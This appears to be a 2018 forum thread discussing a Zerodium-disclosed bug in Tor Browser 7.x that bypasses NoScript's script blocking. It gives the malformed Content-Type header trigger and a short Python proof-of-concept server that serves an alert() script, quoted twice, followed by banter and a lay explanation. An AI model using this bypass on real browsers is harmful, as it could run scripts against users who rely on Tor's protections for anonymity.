User Controls
Old Tor Browser Zero Day Released
-
2018-09-11 at 11:23 AM UTC
Advisory: Tor Browser 7.x has a serious vuln/bugdoor leading to full bypass of Tor / NoScript 'Safest' security level (supposed to block all JS).
https://twitter.com/Zerodium/status/1039127214602641409?s=19
PoC: Set the Content-Type of your html/js page to "text/html;/json" and enjoy full JS pwnage. Newly released Tor 8.x is Not affected.
Apparently being released as it doesn't affect Tor Browser 8, and Zerodium can't sell it to their customers (mostly governments) any more. -
2018-09-11 at 11:26 AM UTCJoke's on you 0day, i always run the latest Tor.
-
2018-09-11 at 11:29 AM UTC
-
2018-09-11 at 12:11 PM UTC
-
2018-09-11 at 12:29 PM UTCWho wouldn't want to buy a tor 0day? That would be kind of amazing and profitable.
-
2018-09-11 at 12:32 PM UTC
-
2018-09-11 at 12:44 PM UTCThe following users say it would be alright if the author of this post didn't die in a fire!
-
2018-09-11 at 4:27 PM UTC
-
2018-09-11 at 9:40 PM UTC
#!/usr/bin/python
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
PORT_NUMBER = 31337
class myHandler(BaseHTTPRequestHandler):
#Handler for the GET requests
def do_GET(self):
self.send_response(200)
self.send_header('Content-type','text/html;/json') # Here is where the magic happens
self.end_headers()
self.wfile.write("<html>Tor Browser 7.x PoC<script>alert('NoScript bypass')</script></html>")
return
try:
server = HTTPServer(('', PORT_NUMBER), myHandler)
print 'Started httpserver on port ' , PORT_NUMBER
server.serve_forever()
except KeyboardInterrupt:
print '^C received, shutting down the web server'
server.socket.close() -
2018-09-11 at 9:42 PM UTC
Originally posted by -SpectraL
#!/usr/bin/python
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
PORT_NUMBER = 31337
class myHandler(BaseHTTPRequestHandler):
#Handler for the GET requests
def do_GET(self):
self.send_response(200)
self.send_header('Content-type','text/html;/json') # Here is where the magic happens
self.end_headers()
self.wfile.write("<html>Tor Browser 7.x PoC<script>alert('NoScript bypass')</script></html>")
return
try:
server = HTTPServer(('', PORT_NUMBER), myHandler)
print 'Started httpserver on port ' , PORT_NUMBER
server.serve_forever()
except KeyboardInterrupt:
print '^C received, shutting down the web server'
server.socket.close()
Gonna go out on a limb here and say you stole that PoC from X0rz, without checking. What do i get if i am right? -
2018-09-11 at 9:51 PM UTC
-
2018-09-11 at 10:08 PM UTC
-
2018-09-11 at 10:38 PM UTC
Originally posted by Sophie https://gist.github.com/x0rz/8198e8e22b1f70fddb9c815c1232b795
Where's my twizzle stick.
No, that's not where I got it. -
2018-09-11 at 11:36 PM UTC
-
2018-09-11 at 11:57 PM UTCOnly have to ask spectral on question in vulnerability disclosure threads: explain the attack in your own words.
- From there you just have to sit back and enjoy the ducking and diving he'll go through in order to pretend like he understands.
-
2018-09-12 at 12:01 AM UTC
Originally posted by Lanny
Only have to ask spectral on question in vulnerability disclosure threads: explain the attack in your own words.
- From there you just have to sit back and enjoy the ducking and diving he'll go through in order to pretend like he understands.
The base HTTP request handler is requesting js from pages, bypassing NoScript.
(I have no idea what I'm talking about.) -
2018-09-12 at 12:01 AM UTCCan I get a gold star for trying?
-
2018-09-12 at 12:05 AM UTCRead the comments in the code you'll figure it out.
-
2018-09-12 at 12:07 AM UTC
-
2018-09-12 at 12:11 AM UTC
Originally posted by HTS The base HTTP request handler is requesting js from pages, bypassing NoScript.
(I have no idea what I'm talking about.)
normally when a page sends the header, it tells your browser what sort of content is to be loaded. the tor-configured browser by default will block javascript even if it's requested, but for whatever reason if you request JSON (which relies on javascript) with that semicolon in there (probably causes the enhancement to think the header is finished so it doesn't search any further) it spazzes out and loads it anyway
